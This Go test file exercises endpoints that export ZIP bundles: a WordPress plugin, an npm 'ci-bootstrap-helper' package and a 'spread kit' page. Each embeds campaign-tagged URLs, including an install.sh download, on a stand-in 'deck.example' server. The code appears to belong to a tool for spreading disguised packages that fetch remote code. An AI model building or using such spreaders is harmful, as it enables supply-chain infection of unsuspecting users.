package api import ( "archive/zip" "bytes" "encoding/json" "io" "net/http" "net/http/httptest" "os" "path/filepath" "strings" "testing" ) func writeSpreadTemplates(t *testing.T, root string) { t.Helper() wpDir := filepath.Join(root, "templates", "wordpress-plugin", "plugin-template") if err := os.MkdirAll(wpDir, 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(wpDir, "plugin.php"), []byte("{{SERVER_URL}}{{QUERY_SUFFIX}}"), 0644); err != nil { t.Fatal(err) } } func readZipEntries(t *testing.T, body []byte) map[string]string { t.Helper() zr, err := zip.NewReader(bytes.NewReader(body), int64(len(body))) if err != nil { t.Fatal(err) } out := make(map[string]string) for _, f := range zr.File { rc, err := f.Open() if err != nil { t.Fatal(err) } data, err := io.ReadAll(rc) rc.Close() if err != nil { t.Fatal(err) } out[f.Name] = string(data) } return out } func TestExportWordPressPluginZIP(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "build_id": "build-abc", "server_url": "https://deck.example:8989", "site_name": "My Blog", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportWordPressPlugin(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } if ct := rec.Header().Get("Content-Type"); ct != "application/zip" { t.Fatalf("content-type %q", ct) } if !strings.Contains(rec.Header().Get("Content-Disposition"), "my-blog-wordpress-plugin.zip") { t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition")) } entries := readZipEntries(t, rec.Body.Bytes()) php, ok := entries["my-blog/my-blog.php"] if !ok { t.Fatalf("expected my-blog/my-blog.php in zip, got %v", entries) } wantURL := "https://deck.example:8989/get?c=wp-my-blog&pin=build-abc" if !strings.Contains(php, wantURL) { t.Fatalf("php missing download url %q: %s", wantURL, php) } if readme, ok := entries["my-blog/readme.txt"]; !ok || !strings.Contains(readme, "wp-my-blog") { t.Fatalf("readme missing campaign: %v", entries["my-blog/readme.txt"]) } } func TestExportNpmHelperZIP(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "build_id": "pin-1", "server_url": "https://deck.example", "campaign": "ci-bootstrap", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/npm-helper-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportNpmHelper(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } entries := readZipEntries(t, rec.Body.Bytes()) pkg := entries["package.json"] if !strings.Contains(pkg, "@aetherforge/ci-bootstrap-helper") { t.Fatalf("package.json: %s", pkg) } if !strings.Contains(pkg, "https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap") { t.Fatalf("package.json missing install url: %s", pkg) } } func TestExportSpreadKitZIP(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "server_url": "https://deck.example", "campaign": "wave-a", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-kit-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadKit(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } entries := readZipEntries(t, rec.Body.Bytes()) if !strings.Contains(entries["index.html"], "https://deck.example?c=wave-a") { t.Fatalf("index.html: %s", entries["index.html"]) } } func TestExportWordPressPluginRequiresSiteName(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{"server_url": "https://x"}) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportWordPressPlugin(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status %d", rec.Code) } }